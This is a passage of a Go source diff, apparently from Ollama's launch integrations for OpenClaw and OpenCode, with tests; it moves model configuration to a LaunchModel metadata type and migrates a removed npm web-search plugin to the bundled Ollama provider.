if _, isNew := entry[k]; !isNew {
|
||||
entry[k] = v
|
||||
@@ -682,7 +735,7 @@ func (c *Openclaw) Edit(models []string) error {
|
||||
if modelConfig == nil {
|
||||
modelConfig = make(map[string]any)
|
||||
}
|
||||
modelConfig["primary"] = "ollama/" + models[0]
|
||||
modelConfig["primary"] = "ollama/" + models[0].Name
|
||||
defaults["model"] = modelConfig
|
||||
agents["defaults"] = defaults
|
||||
config["agents"] = agents
|
||||
@@ -691,13 +744,13 @@ func (c *Openclaw) Edit(models []string) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := fileutil.WriteWithBackup(configPath, data); err != nil {
|
||||
if err := fileutil.WriteWithBackup(configPath, data, "openclaw"); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Clear any per-session model overrides so the new primary takes effect
|
||||
// immediately rather than being shadowed by a cached modelOverride.
|
||||
clearSessionModelOverride(models[0])
|
||||
clearSessionModelOverride(models[0].Name)
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -738,89 +791,13 @@ func clearSessionModelOverride(primary string) {
|
||||
_ = os.WriteFile(path, out, 0o600)
|
||||
}
|
||||
|
||||
const (
|
||||
webSearchNpmPackage = "@ollama/openclaw-web-search"
|
||||
webSearchMinVersion = "0.2.1"
|
||||
)
|
||||
|
||||
// ensureWebSearchPlugin installs the openclaw-web-search extension into the
|
||||
// user-level extensions directory (~/.openclaw/extensions/) if it isn't already
|
||||
// present, or re-installs if the installed version is older than webSearchMinVersion.
|
||||
// Returns true if the extension is available.
|
||||
func ensureWebSearchPlugin() bool {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
pluginDir := filepath.Join(home, ".openclaw", "extensions", "openclaw-web-search")
|
||||
if webSearchPluginUpToDate(pluginDir) {
|
||||
return true
|
||||
}
|
||||
|
||||
npmBin, err := exec.LookPath("npm")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(pluginDir, 0o755); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// Download the tarball via `npm pack`, extract it flat into the plugin dir.
|
||||
pack := exec.Command(npmBin, "pack", webSearchNpmPackage, "--pack-destination", pluginDir)
|
||||
out, err := pack.Output()
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s Warning: could not download web search plugin: %v%s\n", ansiYellow, err, ansiReset)
|
||||
return false
|
||||
}
|
||||
|
||||
tgzName := strings.TrimSpace(string(out))
|
||||
tgzPath := filepath.Join(pluginDir, tgzName)
|
||||
defer os.Remove(tgzPath)
|
||||
|
||||
tar := exec.Command("tar", "xzf", tgzPath, "--strip-components=1", "-C", pluginDir)
|
||||
if err := tar.Run(); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s Warning: could not extract web search plugin: %v%s\n", ansiYellow, err, ansiReset)
|
||||
return false
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%s ✓ Installed Ollama web search %s\n", ansiGreen, ansiReset)
|
||||
return true
|
||||
}
|
||||
|
||||
// webSearchPluginUpToDate returns true if the plugin is installed and its
|
||||
// package.json version is >= webSearchMinVersion.
|
||||
func webSearchPluginUpToDate(pluginDir string) bool {
|
||||
data, err := os.ReadFile(filepath.Join(pluginDir, "package.json"))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
var pkg struct {
|
||||
Version string `json:"version"`
|
||||
}
|
||||
if json.Unmarshal(data, &pkg) != nil || pkg.Version == "" {
|
||||
return false
|
||||
}
|
||||
return !versionLessThan(pkg.Version, webSearchMinVersion)
|
||||
}
|
||||
|
||||
// versionLessThan compares two semver version strings (major.minor.patch).
|
||||
// Inputs may omit the "v" prefix; it is added automatically for semver.Compare.
|
||||
func versionLessThan(a, b string) bool {
|
||||
if !strings.HasPrefix(a, "v") {
|
||||
a = "v" + a
|
||||
}
|
||||
if !strings.HasPrefix(b, "v") {
|
||||
b = "v" + b
|
||||
}
|
||||
return semver.Compare(a, b) < 0
|
||||
}
|
||||
|
||||
// registerWebSearchPlugin adds plugins.entries.openclaw-web-search to the OpenClaw
|
||||
// config so the gateway activates it on next start. Best-effort; silently returns
|
||||
// on any error.
|
||||
func registerWebSearchPlugin() {
|
||||
// configureOllamaWebSearch keeps launch-managed OpenClaw installs on the
|
||||
// bundled Ollama web_search provider. Older launch builds installed an
|
||||
// external openclaw-web-search plugin that added custom ollama_web_search and
|
||||
// ollama_web_fetch tools. Current OpenClaw versions ship Ollama web_search as
|
||||
// the bundled "ollama" plugin instead, so we migrate stale config and ensure
|
||||
// fresh installs select the bundled provider.
|
||||
func configureOllamaWebSearch() {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return
|
||||
@@ -835,6 +812,8 @@ func registerWebSearchPlugin() {
|
||||
return
|
||||
}
|
||||
|
||||
stalePluginConfigured := false
|
||||
|
||||
plugins, _ := config["plugins"].(map[string]any)
|
||||
if plugins == nil {
|
||||
plugins = make(map[string]any)
|
||||
@@ -843,68 +822,100 @@ func registerWebSearchPlugin() {
|
||||
if entries == nil {
|
||||
entries = make(map[string]any)
|
||||
}
|
||||
entries["openclaw-web-search"] = map[string]any{"enabled": true}
|
||||
plugins["entries"] = entries
|
||||
|
||||
// Pin trust so the gateway doesn't warn about untracked plugins.
|
||||
allow, _ := plugins["allow"].([]any)
|
||||
hasAllow := false
|
||||
for _, v := range allow {
|
||||
if s, ok := v.(string); ok && s == "openclaw-web-search" {
|
||||
hasAllow = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !hasAllow {
|
||||
allow = append(allow, "openclaw-web-search")
|
||||
}
|
||||
plugins["allow"] = allow
|
||||
|
||||
// Record install provenance so the loader can verify the plugin origin.
|
||||
installs, _ := plugins["installs"].(map[string]any)
|
||||
if installs == nil {
|
||||
installs = make(map[string]any)
|
||||
}
|
||||
pluginDir := filepath.Join(home, ".openclaw", "extensions", "openclaw-web-search")
|
||||
installs["openclaw-web-search"] = map[string]any{
|
||||
"source": "npm",
|
||||
"spec": webSearchNpmPackage,
|
||||
"installPath": pluginDir,
|
||||
}
|
||||
plugins["installs"] = installs
|
||||
|
||||
config["plugins"] = plugins
|
||||
|
||||
// Add plugin tools to tools.alsoAllow so they survive the coding profile's
|
||||
// policy pipeline (which has an explicit allow list of core tools only).
|
||||
tools, _ := config["tools"].(map[string]any)
|
||||
if tools == nil {
|
||||
tools = make(map[string]any)
|
||||
}
|
||||
|
||||
alsoAllow, _ := tools["alsoAllow"].([]any)
|
||||
needed := []string{"ollama_web_search", "ollama_web_fetch"}
|
||||
have := make(map[string]bool, len(alsoAllow))
|
||||
for _, v := range alsoAllow {
|
||||
if s, ok := v.(string); ok {
|
||||
have[s] = true
|
||||
}
|
||||
}
|
||||
for _, name := range needed {
|
||||
if !have[name] {
|
||||
alsoAllow = append(alsoAllow, name)
|
||||
}
|
||||
}
|
||||
tools["alsoAllow"] = alsoAllow
|
||||
|
||||
// Disable built-in web search/fetch since our plugin replaces them.
|
||||
web, _ := tools["web"].(map[string]any)
|
||||
if web == nil {
|
||||
web = make(map[string]any)
|
||||
}
|
||||
web["search"] = map[string]any{"enabled": false}
|
||||
web["fetch"] = map[string]any{"enabled": false}
|
||||
search, _ := web["search"].(map[string]any)
|
||||
if search == nil {
|
||||
search = make(map[string]any)
|
||||
}
|
||||
fetch, _ := web["fetch"].(map[string]any)
|
||||
if fetch == nil {
|
||||
fetch = make(map[string]any)
|
||||
}
|
||||
|
||||
alsoAllow, _ := tools["alsoAllow"].([]any)
|
||||
var filteredAlsoAllow []any
|
||||
for _, v := range alsoAllow {
|
||||
s, ok := v.(string)
|
||||
if !ok {
|
||||
filteredAlsoAllow = append(filteredAlsoAllow, v)
|
||||
continue
|
||||
}
|
||||
if s == "ollama_web_search" || s == "ollama_web_fetch" {
|
||||
stalePluginConfigured = true
|
||||
continue
|
||||
}
|
||||
filteredAlsoAllow = append(filteredAlsoAllow, v)
|
||||
}
|
||||
if len(filteredAlsoAllow) > 0 {
|
||||
tools["alsoAllow"] = filteredAlsoAllow
|
||||
} else {
|
||||
delete(tools, "alsoAllow")
|
||||
}
|
||||
|
||||
if _, ok := entries["openclaw-web-search"]; ok {
|
||||
delete(entries, "openclaw-web-search")
|
||||
stalePluginConfigured = true
|
||||
}
|
||||
ollamaEntry, _ := entries["ollama"].(map[string]any)
|
||||
if ollamaEntry == nil {
|
||||
ollamaEntry = make(map[string]any)
|
||||
}
|
||||
ollamaEntry["enabled"] = true
|
||||
entries["ollama"] = ollamaEntry
|
||||
plugins["entries"] = entries
|
||||
|
||||
if allow, ok := plugins["allow"].([]any); ok {
|
||||
var nextAllow []any
|
||||
hasOllama := false
|
||||
for _, v := range allow {
|
||||
s, ok := v.(string)
|
||||
if ok && s == "openclaw-web-search" {
|
||||
stalePluginConfigured = true
|
||||
continue
|
||||
}
|
||||
if ok && s == "ollama" {
|
||||
hasOllama = true
|
||||
}
|
||||
nextAllow = append(nextAllow, v)
|
||||
}
|
||||
if !hasOllama {
|
||||
nextAllow = append(nextAllow, "ollama")
|
||||
}
|
||||
plugins["allow"] = nextAllow
|
||||
}
|
||||
|
||||
if installs, ok := plugins["installs"].(map[string]any); ok {
|
||||
if _, exists := installs["openclaw-web-search"]; exists {
|
||||
delete(installs, "openclaw-web-search")
|
||||
stalePluginConfigured = true
|
||||
}
|
||||
if len(installs) > 0 {
|
||||
plugins["installs"] = installs
|
||||
} else {
|
||||
delete(plugins, "installs")
|
||||
}
|
||||
}
|
||||
|
||||
if stalePluginConfigured || search["provider"] == nil {
|
||||
search["provider"] = "ollama"
|
||||
}
|
||||
if stalePluginConfigured {
|
||||
fetch["enabled"] = true
|
||||
}
|
||||
search["enabled"] = true
|
||||
web["search"] = search
|
||||
if len(fetch) > 0 {
|
||||
web["fetch"] = fetch
|
||||
}
|
||||
tools["web"] = web
|
||||
config["plugins"] = plugins
|
||||
config["tools"] = tools
|
||||
|
||||
out, err := json.MarshalIndent(config, "", " ")
|
||||
@@ -916,10 +927,10 @@ func registerWebSearchPlugin() {
|
||||
|
||||
// openclawModelConfig builds an OpenClaw model config entry with capability detection.
|
||||
// The second return value indicates whether the model is a cloud (remote) model.
|
||||
func openclawModelConfig(ctx context.Context, client *api.Client, modelID string) (map[string]any, bool) {
|
||||
func openclawModelConfig(model LaunchModel) (map[string]any, bool) {
|
||||
entry := map[string]any{
|
||||
"id": modelID,
|
||||
"name": modelID,
|
||||
"id": model.Name,
|
||||
"name": model.Name,
|
||||
"input": []any{"text"},
|
||||
"cost": map[string]any{
|
||||
"input": 0,
|
||||
@@ -929,53 +940,24 @@ func openclawModelConfig(ctx context.Context, client *api.Client, modelID string
|
||||
},
|
||||
}
|
||||
|
||||
if client == nil {
|
||||
return entry, false
|
||||
}
|
||||
|
||||
showCtx := ctx
|
||||
if _, hasDeadline := ctx.Deadline(); !hasDeadline {
|
||||
var cancel context.CancelFunc
|
||||
showCtx, cancel = context.WithTimeout(ctx, openclawModelShowTimeout)
|
||||
defer cancel()
|
||||
}
|
||||
|
||||
resp, err := client.Show(showCtx, &api.ShowRequest{Model: modelID})
|
||||
if err != nil {
|
||||
return entry, false
|
||||
}
|
||||
|
||||
// Set input types based on vision capability
|
||||
if slices.Contains(resp.Capabilities, model.CapabilityVision) {
|
||||
if model.HasCapability("vision") {
|
||||
entry["input"] = []any{"text", "image"}
|
||||
}
|
||||
|
||||
// Set reasoning based on thinking capability
|
||||
if slices.Contains(resp.Capabilities, model.CapabilityThinking) {
|
||||
if model.HasCapability("thinking") {
|
||||
entry["reasoning"] = true
|
||||
}
|
||||
|
||||
// Cloud models: use hardcoded limits for context/output tokens.
|
||||
// Capability detection above still applies (vision, thinking).
|
||||
if resp.RemoteModel != "" {
|
||||
if l, ok := lookupCloudModelLimit(modelID); ok {
|
||||
entry["contextWindow"] = l.Context
|
||||
entry["maxTokens"] = l.Output
|
||||
}
|
||||
return entry, true
|
||||
if model.ContextLength > 0 {
|
||||
entry["contextWindow"] = model.ContextLength
|
||||
}
|
||||
if model.MaxOutputTokens > 0 {
|
||||
entry["maxTokens"] = model.MaxOutputTokens
|
||||
}
|
||||
|
||||
// Extract context window from ModelInfo (local models only)
|
||||
for key, val := range resp.ModelInfo {
|
||||
if strings.HasSuffix(key, ".context_length") {
|
||||
if ctxLen, ok := val.(float64); ok && ctxLen > 0 {
|
||||
entry["contextWindow"] = int(ctxLen)
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return entry, false
|
||||
return entry, model.Remote || isCloudModelName(model.Name)
|
||||
}
|
||||
|
||||
func (c *Openclaw) Models() []string {
|
||||
|
||||
+507
-346
File diff suppressed because it is too large.
Load diff
+66
-22
@@ -43,7 +43,7 @@ func findOpenCode() (string, bool) {
|
||||
return "", false
|
||||
}
|
||||
|
||||
func (o *OpenCode) Run(model string, args []string) error {
|
||||
func (o *OpenCode) Run(model string, models []LaunchModel, args []string) error {
|
||||
opencodePath, ok := findOpenCode()
|
||||
if !ok {
|
||||
return fmt.Errorf("opencode is not installed, install from https://opencode.ai")
|
||||
@@ -54,7 +54,7 @@ func (o *OpenCode) Run(model string, args []string) error {
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
cmd.Env = os.Environ()
|
||||
if content := o.resolveContent(model); content != "" {
|
||||
if content := o.resolveContent(model, models); content != "" {
|
||||
cmd.Env = append(cmd.Env, "OPENCODE_CONFIG_CONTENT="+content)
|
||||
}
|
||||
return cmd.Run()
|
||||
@@ -63,21 +63,57 @@ func (o *OpenCode) Run(model string, args []string) error {
|
||||
// resolveContent returns the inline config to send via OPENCODE_CONFIG_CONTENT.
|
||||
// Returns content built by Edit if available, otherwise builds from model.json
|
||||
// with the requested model as primary (e.g. re-launch with saved config).
|
||||
func (o *OpenCode) resolveContent(model string) string {
|
||||
func (o *OpenCode) resolveContent(model string, models []LaunchModel) string {
|
||||
if o.configContent != "" {
|
||||
return o.configContent
|
||||
}
|
||||
models := readModelJSONModels()
|
||||
if !slices.Contains(models, model) {
|
||||
models = append([]string{model}, models...)
|
||||
resolvedModels := resolveOpenCodeRunModels(model, models, readModelJSONModels())
|
||||
if len(resolvedModels) == 0 {
|
||||
return ""
|
||||
}
|
||||
content, err := buildInlineConfig(model, models)
|
||||
content, err := buildInlineConfig(resolvedModels[0], resolvedModels)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return content
|
||||
}
|
||||
|
||||
func resolveOpenCodeRunModels(primary string, models []LaunchModel, stateModels []string) []LaunchModel {
|
||||
if primary == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
resolved := make([]LaunchModel, 0, 1+len(models)+len(stateModels))
|
||||
appendModel := func(name string) {
|
||||
if name == "" || hasLaunchModel(resolved, name) {
|
||||
return
|
||||
}
|
||||
if model, ok := findLaunchModel(models, name); ok {
|
||||
resolved = append(resolved, model)
|
||||
return
|
||||
}
|
||||
resolved = append(resolved, fallbackLaunchModel(name))
|
||||
}
|
||||
|
||||
appendModel(primary)
|
||||
for _, model := range models {
|
||||
appendModel(model.Name)
|
||||
}
|
||||
for _, model := range stateModels {
|
||||
appendModel(model)
|
||||
}
|
||||
return resolved
|
||||
}
|
||||
|
||||
func hasLaunchModel(models []LaunchModel, name string) bool {
|
||||
for _, model := range models {
|
||||
if launchModelMatches(model.Name, name) || launchModelMatches(name, model.Name) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (o *OpenCode) Paths() []string {
|
||||
sp, err := openCodeStatePath()
|
||||
if err != nil {
|
||||
@@ -100,12 +136,13 @@ func openCodeStatePath() (string, error) {
|
||||
return filepath.Join(home, ".local", "state", "opencode", "model.json"), nil
|
||||
}
|
||||
|
||||
func (o *OpenCode) Edit(modelList []string) error {
|
||||
func (o *OpenCode) Edit(models []LaunchModel) error {
|
||||
modelList := launchModelNames(models)
|
||||
if len(modelList) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
content, err := buildInlineConfig(modelList[0], modelList)
|
||||
content, err := buildInlineConfig(models[0], models)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -163,7 +200,7 @@ func (o *OpenCode) Edit(modelList []string) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(statePath, stateData)
|
||||
return fileutil.WriteWithBackup(statePath, stateData, "opencode")
|
||||
}
|
||||
|
||||
func (o *OpenCode) Models() []string {
|
||||
@@ -172,10 +209,11 @@ func (o *OpenCode) Models() []string {
|
||||
|
||||
// buildInlineConfig produces the JSON string for OPENCODE_CONFIG_CONTENT.
|
||||
// primary is the model to launch with, models is the full list of available models.
|
||||
func buildInlineConfig(primary string, models []string) (string, error) {
|
||||
if primary == "" || len(models) == 0 {
|
||||
func buildInlineConfig(primary LaunchModel, models []LaunchModel) (string, error) {
|
||||
if primary.Name == "" || len(models) == 0 {
|
||||
return "", fmt.Errorf("buildInlineConfig: primary and models are required")
|
||||
}
|
||||
|
||||
config := map[string]any{
|
||||
"$schema": "https://opencode.ai/config.json",
|
||||
"provider": map[string]any{
|
||||
@@ -188,7 +226,7 @@ func buildInlineConfig(primary string, models []string) (string, error) {
|
||||
"models": buildModelEntries(models),
|
||||
},
|
||||
},
|
||||
"model": "ollama/" + primary,
|
||||
"model": "ollama/" + primary.Name,
|
||||
}
|
||||
data, err := json.Marshal(config)
|
||||
if err != nil {
|
||||
@@ -228,21 +266,27 @@ func readModelJSONModels() []string {
|
||||
return models
|
||||
}
|
||||
|
||||
func buildModelEntries(modelList []string) map[string]any {
|
||||
func buildModelEntries(modelList []LaunchModel) map[string]any {
|
||||
models := make(map[string]any)
|
||||
for _, model := range modelList {
|
||||
entry := map[string]any{
|
||||
"name": model,
|
||||
"name": model.Name,
|
||||
}
|
||||
if isCloudModelName(model) {
|
||||
if l, ok := lookupCloudModelLimit(model); ok {
|
||||
entry["limit"] = map[string]any{
|
||||
"context": l.Context,
|
||||
"output": l.Output,
|
||||
}
|
||||
if model.HasCapability("vision") {
|
||||
entry["modalities"] = map[string]any{
|
||||
"input": []string{"text", "image"},
|
||||
"output": []string{"text"},
|
||||
}
|
||||
}
|
||||
models[model] = entry
|
||||
if model.MaxOutputTokens > 0 {
|
||||
limit := make(map[string]any)
|
||||
if model.ContextLength > 0 {
|
||||
limit["context"] = model.ContextLength
|
||||
}
|
||||
limit["output"] = model.MaxOutputTokens
|
||||
entry["limit"] = limit
|
||||
}
|
||||
models[model.Name] = entry
|
||||
}
|
||||
return models
|
||||
}
|
||||
+116
-24
@@ -7,6 +7,8 @@ import (
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/types/model"
|
||||
)
|
||||
|
||||
func TestOpenCodeIntegration(t *testing.T) {
|
||||
@@ -31,7 +33,7 @@ func TestOpenCodeEdit(t *testing.T) {
|
||||
t.Run("builds config content with provider", func(t *testing.T) {
|
||||
setTestHome(t, t.TempDir())
|
||||
o := &OpenCode{}
|
||||
if err := o.Edit([]string{"llama3.2"}); err != nil {
|
||||
if err := o.Edit(testLaunchModels("llama3.2")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -65,7 +67,7 @@ func TestOpenCodeEdit(t *testing.T) {
|
||||
t.Run("multiple models", func(t *testing.T) {
|
||||
setTestHome(t, t.TempDir())
|
||||
o := &OpenCode{}
|
||||
if err := o.Edit([]string{"llama3.2", "qwen3:32b"}); err != nil {
|
||||
if err := o.Edit(testLaunchModels("llama3.2", "qwen3:32b")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -90,7 +92,7 @@ func TestOpenCodeEdit(t *testing.T) {
|
||||
t.Run("empty models is no-op", func(t *testing.T) {
|
||||
setTestHome(t, t.TempDir())
|
||||
o := &OpenCode{}
|
||||
if err := o.Edit([]string{}); err != nil {
|
||||
if err := o.Edit(testLaunchModels()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if o.configContent != "" {
|
||||
@@ -102,7 +104,7 @@ func TestOpenCodeEdit(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
o := &OpenCode{}
|
||||
o.Edit([]string{"llama3.2"})
|
||||
o.Edit(testLaunchModels("llama3.2"))
|
||||
|
||||
configDir := filepath.Join(tmpDir, ".config", "opencode")
|
||||
|
||||
@@ -117,7 +119,7 @@ func TestOpenCodeEdit(t *testing.T) {
|
||||
t.Run("cloud model has limits", func(t *testing.T) {
|
||||
setTestHome(t, t.TempDir())
|
||||
o := &OpenCode{}
|
||||
if err := o.Edit([]string{"glm-4.7:cloud"}); err != nil {
|
||||
if err := o.Edit(testLaunchModels("glm-4.7:cloud")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -144,7 +146,7 @@ func TestOpenCodeEdit(t *testing.T) {
|
||||
t.Run("local model has no limits", func(t *testing.T) {
|
||||
setTestHome(t, t.TempDir())
|
||||
o := &OpenCode{}
|
||||
o.Edit([]string{"llama3.2"})
|
||||
o.Edit(testLaunchModels("llama3.2"))
|
||||
|
||||
var cfg map[string]any
|
||||
json.Unmarshal([]byte(o.configContent), &cfg)
|
||||
@@ -157,6 +159,51 @@ func TestOpenCodeEdit(t *testing.T) {
|
||||
t.Errorf("local model should not have limit, got %v", entry["limit"])
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("vision model gets image input modalities", func(t *testing.T) {
|
||||
models := buildModelEntries([]LaunchModel{{Name: "gemma4:26b", Capabilities: []model.Capability{"vision"}}})
|
||||
entry, _ := models["gemma4:26b"].(map[string]any)
|
||||
modalities, _ := entry["modalities"].(map[string]any)
|
||||
input, _ := modalities["input"].([]string)
|
||||
output, _ := modalities["output"].([]string)
|
||||
|
||||
if len(input) != 2 || input[0] != "text" || input[1] != "image" {
|
||||
t.Fatalf("modalities.input = %v, want [text image]", input)
|
||||
}
|
||||
if len(output) != 1 || output[0] != "text" {
|
||||
t.Fatalf("modalities.output = %v, want [text]", output)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestBuildModelEntries(t *testing.T) {
|
||||
t.Run("defaults to model name without capabilities", func(t *testing.T) {
|
||||
models := buildModelEntries(testLaunchModels("llama3.2"))
|
||||
entry, _ := models["llama3.2"].(map[string]any)
|
||||
if entry["name"] != "llama3.2" {
|
||||
t.Fatalf("name = %v, want llama3.2", entry["name"])
|
||||
}
|
||||
if _, ok := entry["modalities"]; ok {
|
||||
t.Fatalf("modalities should not be set without capabilities, got %v", entry["modalities"])
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("uses context and output limits from metadata", func(t *testing.T) {
|
||||
models := buildModelEntries([]LaunchModel{{Name: "glm-5:cloud", ContextLength: 202_752, MaxOutputTokens: 131_072}})
|
||||
entry, _ := models["glm-5:cloud"].(map[string]any)
|
||||
limit, _ := entry["limit"].(map[string]any)
|
||||
if limit["context"] != 202_752 || limit["output"] != 131_072 {
|
||||
t.Fatalf("limit = %v, want context/output", limit)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("omits context-only limits", func(t *testing.T) {
|
||||
models := buildModelEntries([]LaunchModel{{Name: "qwen2.5:0.5b", ContextLength: 32768}})
|
||||
entry, _ := models["qwen2.5:0.5b"].(map[string]any)
|
||||
if _, ok := entry["limit"]; ok {
|
||||
t.Fatalf("limit should be omitted when output limit is unknown, got %v", entry["limit"])
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestOpenCodeModels_ReturnsNil(t *testing.T) {
|
||||
@@ -284,7 +331,7 @@ func TestOpenCodeEdit_CloudModelLimitStructure(t *testing.T) {
|
||||
|
||||
expected := cloudModelLimits["glm-4.7"]
|
||||
|
||||
if err := o.Edit([]string{"glm-4.7:cloud"}); err != nil {
|
||||
if err := o.Edit(testLaunchModels("glm-4.7:cloud")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -314,7 +361,7 @@ func TestOpenCodeEdit_SpecialCharsInModelName(t *testing.T) {
|
||||
|
||||
specialModel := `model-with-"quotes"`
|
||||
|
||||
err := o.Edit([]string{specialModel})
|
||||
err := o.Edit(testLaunchModels(specialModel))
|
||||
if err != nil {
|
||||
t.Fatalf("Edit with special chars failed: %v", err)
|
||||
}
|
||||
@@ -407,7 +454,7 @@ func TestOpenCodeResolveContent(t *testing.T) {
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
o := &OpenCode{}
|
||||
if err := o.Edit([]string{"gemma4"}); err != nil {
|
||||
if err := o.Edit(testLaunchModels("gemma4")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
editContent := o.configContent
|
||||
@@ -422,7 +469,7 @@ func TestOpenCodeResolveContent(t *testing.T) {
|
||||
data, _ := json.MarshalIndent(state, "", " ")
|
||||
os.WriteFile(filepath.Join(stateDir, "model.json"), data, 0o644)
|
||||
|
||||
got := o.resolveContent("gemma4")
|
||||
got := o.resolveContent("gemma4", nil)
|
||||
if got != editContent {
|
||||
t.Errorf("resolveContent returned different content than Edit set\ngot: %s\nwant: %s", got, editContent)
|
||||
}
|
||||
@@ -444,7 +491,7 @@ func TestOpenCodeResolveContent(t *testing.T) {
|
||||
os.WriteFile(filepath.Join(stateDir, "model.json"), data, 0o644)
|
||||
|
||||
o := &OpenCode{}
|
||||
content := o.resolveContent("llama3.2")
|
||||
content := o.resolveContent("llama3.2", nil)
|
||||
if content == "" {
|
||||
t.Fatal("resolveContent returned empty")
|
||||
}
|
||||
@@ -478,7 +525,7 @@ func TestOpenCodeResolveContent(t *testing.T) {
|
||||
os.WriteFile(filepath.Join(stateDir, "model.json"), data, 0o644)
|
||||
|
||||
o := &OpenCode{}
|
||||
content := o.resolveContent("qwen3:32b")
|
||||
content := o.resolveContent("qwen3:32b", nil)
|
||||
|
||||
var cfg map[string]any
|
||||
json.Unmarshal([]byte(content), &cfg)
|
||||
@@ -502,7 +549,7 @@ func TestOpenCodeResolveContent(t *testing.T) {
|
||||
os.WriteFile(filepath.Join(stateDir, "model.json"), data, 0o644)
|
||||
|
||||
o := &OpenCode{}
|
||||
content := o.resolveContent("gemma4")
|
||||
content := o.resolveContent("gemma4", nil)
|
||||
|
||||
var cfg map[string]any
|
||||
json.Unmarshal([]byte(content), &cfg)
|
||||
@@ -522,11 +569,56 @@ func TestOpenCodeResolveContent(t *testing.T) {
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
o := &OpenCode{}
|
||||
if got := o.resolveContent(""); got != "" {
|
||||
if got := o.resolveContent("", nil); got != "" {
|
||||
t.Errorf("resolveContent(\"\") = %q, want empty", got)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("uses run model metadata when Edit was not called", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
stateDir := filepath.Join(tmpDir, ".local", "state", "opencode")
|
||||
os.MkdirAll(stateDir, 0o755)
|
||||
state := map[string]any{
|
||||
"recent": []any{
|
||||
map[string]any{"providerID": "ollama", "modelID": "llama3.2"},
|
||||
},
|
||||
}
|
||||
data, _ := json.MarshalIndent(state, "", " ")
|
||||
os.WriteFile(filepath.Join(stateDir, "model.json"), data, 0o644)
|
||||
|
||||
o := &OpenCode{}
|
||||
content := o.resolveContent("gemma4", []LaunchModel{
|
||||
{
|
||||
Name: "gemma4",
|
||||
Capabilities: []model.Capability{model.CapabilityVision},
|
||||
ContextLength: 65_536,
|
||||
MaxOutputTokens: 8_192,
|
||||
},
|
||||
})
|
||||
if content == "" {
|
||||
t.Fatal("resolveContent returned empty")
|
||||
}
|
||||
|
||||
var cfg map[string]any
|
||||
json.Unmarshal([]byte(content), &cfg)
|
||||
provider, _ := cfg["provider"].(map[string]any)
|
||||
ollama, _ := provider["ollama"].(map[string]any)
|
||||
cfgModels, _ := ollama["models"].(map[string]any)
|
||||
entry, _ := cfgModels["gemma4"].(map[string]any)
|
||||
limit, _ := entry["limit"].(map[string]any)
|
||||
if limit["context"] != float64(65_536) || limit["output"] != float64(8_192) {
|
||||
t.Fatalf("limit = %v, want context/output from launch metadata", limit)
|
||||
}
|
||||
if _, ok := entry["modalities"].(map[string]any); !ok {
|
||||
t.Fatalf("modalities should be set from launch metadata, got %v", entry["modalities"])
|
||||
}
|
||||
if cfgModels["llama3.2"] == nil {
|
||||
t.Fatalf("state model missing from fallback config: %v", cfgModels)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("does not mutate configContent on fallback", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
@@ -542,7 +634,7 @@ func TestOpenCodeResolveContent(t *testing.T) {
|
||||
os.WriteFile(filepath.Join(stateDir, "model.json"), data, 0o644)
|
||||
|
||||
o := &OpenCode{}
|
||||
_ = o.resolveContent("llama3.2")
|
||||
_ = o.resolveContent("llama3.2", nil)
|
||||
if o.configContent != "" {
|
||||
t.Errorf("resolveContent should not mutate configContent, got %q", o.configContent)
|
||||
}
|
||||
@@ -551,19 +643,19 @@ func TestOpenCodeResolveContent(t *testing.T) {
|
||||
|
||||
func TestBuildInlineConfig(t *testing.T) {
|
||||
t.Run("returns error for empty primary", func(t *testing.T) {
|
||||
if _, err := buildInlineConfig("", []string{"llama3.2"}); err == nil {
|
||||
if _, err := buildInlineConfig(LaunchModel{}, testLaunchModels("llama3.2")); err == nil {
|
||||
t.Error("expected error for empty primary")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("returns error for empty models", func(t *testing.T) {
|
||||
